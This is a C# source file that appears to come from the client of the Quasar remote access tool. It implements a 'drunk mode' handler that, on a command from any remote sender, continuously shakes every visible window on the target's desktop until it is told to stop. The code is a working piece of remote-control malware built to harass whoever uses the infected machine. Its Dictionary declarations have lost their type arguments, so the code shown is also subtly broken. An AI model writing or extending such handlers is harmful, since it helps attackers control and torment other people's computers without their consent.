using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Threading; namespace Quasar.Client.Messages { public class DrunkModeHandler : IMessageProcessor, IDisposable { [DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd); [DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); [DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); [StructLayout(LayoutKind.Sequential)] struct RECT { public int Left, Top, Right, Bottom; } const uint SWP_NOSIZE = 0x0001; const uint SWP_NOZORDER = 0x0004; const uint SWP_NOACTIVATE = 0x0010; const uint SWP_NOSENDCHANGING = 0x0400; const int GWL_STYLE = -16; const int WS_MAXIMIZE = 0x01000000; const int WS_MINIMIZE = 0x20000000; private Thread _thread; private volatile bool _running; public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { if (message is DoStartDrunkMode) Start(); else if (message is DoStopDrunkMode) Stop(); } private void Start() { if (_running) return; _running = true; _thread = new Thread(DrunkLoop) { IsBackground = true }; _thread.Start(); } private void Stop() { _running = false; } private void DrunkLoop() { try { // snapshot all moveable windows and their original positions var origX = new Dictionary(); var origY = new Dictionary(); EnumWindows((hWnd, _) => { if (!IsWindowVisible(hWnd)) return true; int style = GetWindowLong(hWnd, GWL_STYLE); if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true; RECT r; if (GetWindowRect(hWnd, out r)) { origX[hWnd] = r.Left; origY[hWnd] = r.Top; } return true; }, IntPtr.Zero); double t = 0; while (_running) { int xOff = (int)(Math.Sin(t * 0.9) * 35); int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20); foreach (var hWnd in origX.Keys) { SetWindowPos(hWnd, IntPtr.Zero, origX[hWnd] + xOff, origY[hWnd] + yOff, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING); } t += 0.05; Thread.Sleep(20); } // restore all windows to their original positions foreach (var hWnd in origX.Keys) { SetWindowPos(hWnd, IntPtr.Zero, origX[hWnd], origY[hWnd], 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING); } } catch { } } public void Dispose() => Stop(); } }